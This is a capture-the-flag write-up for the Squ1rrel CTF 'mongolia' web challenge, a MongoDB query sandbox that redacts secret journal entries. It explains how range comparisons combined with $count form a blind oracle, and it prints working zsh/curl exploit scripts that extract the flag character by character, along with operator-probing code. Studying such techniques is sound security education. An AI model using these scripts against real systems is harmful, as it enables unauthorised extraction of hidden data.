Skip to main content

Mongolia

Challenge

Content preserved from the original writeup source. Minimal normalization was applied to fit platform format.

Solution

Original Writeup Content (Preserved)

Squ1rrel CTF 2026 - Web/Mongolia Write-up

1. Challenge Overview

Note:

  • The challenge itself is from Squ1rrel/Squirrel CTF.

  • It is stored in a local folder path containing hens_ctf, but that folder name is only local organization and not the event attribution.

  • Category: Web

  • Challenge name: mongolia

  • Author: kyle

  • Score/solves at time observed: 397 points, 26 solves

Provided challenge text (paraphrased and preserved)

We were told:

  • There is a website about two travelers journaling a journey in China.
  • There are "weird entries" in the site.
  • Main target URL: https://mongolia.squ1rrel.dev
  • Important requirement: each team needs a unique database instance.
  • To get a team-specific connection string, teams must solve at least 3 web challenges and then open a Discord ticket with organizers.
  • A file and host were provided in the challenge statement:
    • mongolia.zip
    • 136.112.223.118:5069/mongolia

2. Initial Conditions

Initial files in workspace

  • No initial local files were present in the workspace folder.
  • So, analysis started directly from the live target URL and API behavior.
  • https://mongolia.squ1rrel.dev

3. Full Requirement (as interpreted technically)

To solve the challenge, we needed to:

  1. Connect to the app using an allowed MongoDB host format.
  2. Understand how the app handles journal entries and "secret" entries.
  3. Identify the security weakness in how secret journal data is protected.
  4. Extract the hidden value (flag) reliably.

Additionally, for official team solves, the same technique must be run against the team's own DB connection string/port after organizer approval.

4. Recon and First Findings

We fetched the homepage and discovered:

  • A connect form asking for MongoDB host input.
  • A query input field allowing user-supplied aggregation pipeline (JSON array).
  • Frontend routes used:
    • POST /api/connect
    • GET /api/journals
    • POST /api/query

Important backend validation behavior observed:

  • URL must match 136.112.223.118:<port>/mongolia.
  • Queries were sandboxed to allowed aggregation stages:
    • $match, $sort, $limit, $skip, $count, $group, $unwind, $sample
  • Many operators were blocked ($regex, $expr, $where, etc.).

5. Connection String Used

Demo/statement connection string used during analysis

  • 136.112.223.118:5069/mongolia

Also accepted format

  • mongodb://136.112.223.118:5069/mongolia

For your team instance, replace port/value with the organizer-provided unique connection string.

6. Core Vulnerability and Exploit Idea

The application redacted secret journal text in API output (displaying [REDACTED]...) but still used the real underlying journal values in database comparisons.

That means:

  • Direct read was blocked visually.
  • But comparison-based queries ($gte, $lt) still operated on true secret values.
  • This creates a blind exfiltration oracle using counts.

In plain terms for beginners:

  • Think of it like a locked box where text is hidden when shown.
  • But if you ask yes/no sorting questions about hidden text, the system still answers based on the real text.
  • Repeating many yes/no checks reveals the secret one character at a time.

7. Trial and Error (What Failed vs What Worked)

7.1 Mistakes / dead ends / obsolete attempts

A) URL parser bypass attempts (failed)

Tried payloads like:

  • query strings (?x=1, ?authSource=admin)
  • fragments (#x)
  • path tricks (%2f..%2fadmin)
  • multi-host seedlists
  • credential-like forms (@evil)

Result:

  • Validator rejected all of them with strict format checks.

B) Aggregation stage bypass attempts (failed)

Tried stages such as:

  • $project
  • $set
  • $replaceRoot

Result:

  • Explicitly rejected by stage allowlist.

C) Regex and expression matching (failed)

Tried operators such as:

  • $regex
  • $expr
  • $where

Result:

  • Operators blocked by backend filter.

D) Script implementation mistakes (temporary)

  • Initial zsh loops using Python/Bash-style slicing caused errors (zsh: unrecognized modifier).
  • Fixed by switching to zsh-safe loops and then writing a standalone zsh script.

7.2 Correct path (worked)

  1. Confirmed there are many secret:true docs.
  2. Confirmed redacted output is not equivalent to underlying comparisons.
  3. Built a blind prefix oracle using:
    • $match with journal range: $gte prefix and $lt prefix+high-sentinel
    • $count
  4. Recovered flag characters iteratively until }.

8. Full Working Code

This is the final script that successfully recovered the full flag from the analyzed instance:

#!/bin/zsh
TOKEN=$(curl -sS https://mongolia.squ1rrel.dev/api/connect -H 'Content-Type: application/json' --data '{"url":"136.112.223.118:5069/mongolia"}' | jq -r '.token')
prefix='squ1rrel{3rli4nh0tu4h_zin4li'
for pos in {1..40}; do
found=''
for code in {32..126}; do
c=$(printf "\\$(printf '%03o' "$code")")
cand="${prefix}${c}"
hi="${cand}~"
pipeline=$(jq -cn --arg lo "$cand" --arg hi "$hi" '[{"$match":{"secret":true,"journal":{"$gte":$lo,"$lt":$hi}}},{"$count":"n"}]')
body=$(jq -cn --arg p "$pipeline" '{pipeline:$p}')
cnt=$(curl -sS https://mongolia.squ1rrel.dev/api/query -H 'Content-Type: application/json' -H "x-session-token: $TOKEN" --data "$body" | jq -r '.[0].n // 0')
if [[ "$cnt" == "50000" ]]; then
prefix="$cand"
print -r -- "$pos $prefix"
found='1'
if [[ "$c" == '}' ]]; then
print -r -- "FLAG=$prefix"
exit 0
fi
break
fi
done
if [[ -z "$found" ]]; then
print -r -- "NO_MATCH_AT=$pos PREFIX=$prefix"
break
fi
done
print -r -- "FINAL_PREFIX=$prefix"

Expected output ending:

FLAG=squ1rrel{3rli4nh0tu4h_zin4li?}

9. Obsolete/Intermediate Code Samples

These were useful during experimentation but not final.

9.1 Early constrained charset brute-force (stopped before full recovery)

TOKEN=$(curl -sS https://mongolia.squ1rrel.dev/api/connect -H 'Content-Type: application/json' --data '{"url":"136.112.223.118:5069/mongolia"}' | jq -r '.token');
chars=(a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9 '{' '}' '_' '-')
prefix=''
for pos in {1..40}; do
found=''
for c in "${chars[@]}"; do
cand="${prefix}${c}"
hi="${cand}￿"
pipeline=$(jq -cn --arg lo "$cand" --arg hi "$hi" '[{"$match":{"secret":true,"journal":{"$gte":$lo,"$lt":$hi}}},{"$count":"n"}]')
body=$(jq -cn --arg p "$pipeline" '{pipeline:$p}')
cnt=$(curl -sS https://mongolia.squ1rrel.dev/api/query -H 'Content-Type: application/json' -H "x-session-token: $TOKEN" --data "$body" | jq -r '.[0].n // 0')
if [[ "$cnt" == "50000" ]]; then
found="$c"
prefix="$cand"
printf '%02d %s\n' "$pos" "$prefix"
break
fi
done
if [[ -z "$found" ]]; then
echo "No charset match at position $pos for prefix '$prefix'"
break
fi
done

echo "Recovered prefix: $prefix"

Why obsolete:

  • It did not include full printable characters, so it stalled when an unexpected symbol appeared.

9.2 Operator probing code (diagnostic only)

TOKEN=$(curl -sS https://mongolia.squ1rrel.dev/api/connect -H 'Content-Type: application/json' --data '{"url":"136.112.223.118:5069/mongolia"}' | sed -E 's/.*"token":"([^"]+)".*/\1/');
ops=(\$eq \$ne \$gt \$gte \$lt \$lte \$in \$nin \$exists \$type \$or \$and \$not \$expr \$where \$regex \$jsonSchema \$all \$size \$elemMatch)
for op in "${ops[@]}"; do
p='[{"$match":{"secret":true,"journal":{"'"$op"'":"x"}}},{"$limit":1}]'
out=$(curl -sS https://mongolia.squ1rrel.dev/api/query -H 'Content-Type: application/json' -H "x-session-token: $TOKEN" --data "{\"pipeline\":$(printf '%s' "$p" | jq -Rs .)}")
if echo "$out" | jq -e '.error' >/dev/null 2>&1; then
err=$(echo "$out" | jq -r '.error')
printf '%-12s -> %s\n' "$op" "$err"
else
printf '%-12s -> allowed\n' "$op"
fi
done

Why obsolete:

  • Helped map restrictions but does not extract the flag by itself.

10. Final Flag

  • squ1rrel{3rli4nh0tu4h_zin4li?}

Important note:

  • This appears to be from the analyzed instance (:5069) used in this write-up.
  • Team-specific instances can produce team-specific outputs.

11. Meaning of the Flag

Likely intended phrase (leet-styled):

  • 3rli4nh0tu4h_zin4li? approximately maps to words around "Erlianhot" and "finally?"
  • This aligns with journal place references (for example, Erenhot/Erlianhot region context in China/Mongolia travel storyline).
  • The trailing ? suggests a playful/in-joke phrasing rather than a formal sentence.

Academic interpretation for students:

  • CTF flags often encode context from challenge narrative, not random strings.
  • Reading challenge text and data themes can guide exploit hypotheses.

12. Student-Friendly Lessons (Simple + Academic)

Security lessons

  1. Redaction is not access control.
    • Hiding output text is weak if backend logic still exposes side channels.
  2. Query functionality can become an oracle.
    • Even without direct read, counts and comparisons leak information.
  3. Allowlist security must be complete.
    • Restricting stages/operators helps, but overlooked comparisons can still exfiltrate data.
  4. Side-channel attacks are practical in web APIs.
    • Time, count, boolean, ordering, and error differences can all leak secrets.

Methodology lessons

  1. Start with recon and protocol mapping.
  2. Record what is blocked and what is allowed.
  3. Convert restrictions into a model.
  4. Use iterative automation for blind extraction.
  5. Keep logs of failed attempts; they are not wasted work.

Professional habits

  • Separate diagnostic scripts from exploit scripts.
  • Keep scripts deterministic and reproducible.
  • Document assumptions and environment-specific values.
  • Validate results before submission.

13. Reproduction Steps for Another Team Instance

  1. Obtain your team-specific connection string from organizers.
  2. Replace URL in connect request script with your team port/value.
  3. Re-run the same blind-prefix extraction logic.
  4. Stop extraction once closing brace } is reached.
  5. Submit extracted flag.

14. Ethical Note

This write-up is for CTF educational use in an authorized environment. The same techniques should not be applied to systems without explicit permission.


Appendix: Minimal one-liner concept

At each step, test candidate prefix + c by querying:

[
{
"$match": {
"secret": true,
"journal": {
"$gte": "<prefix+c>",
"$lt": "<prefix+c plus high sentinel>"
}
}
},
{ "$count": "n" }
]

If n equals total secret-doc count, that candidate character is correct.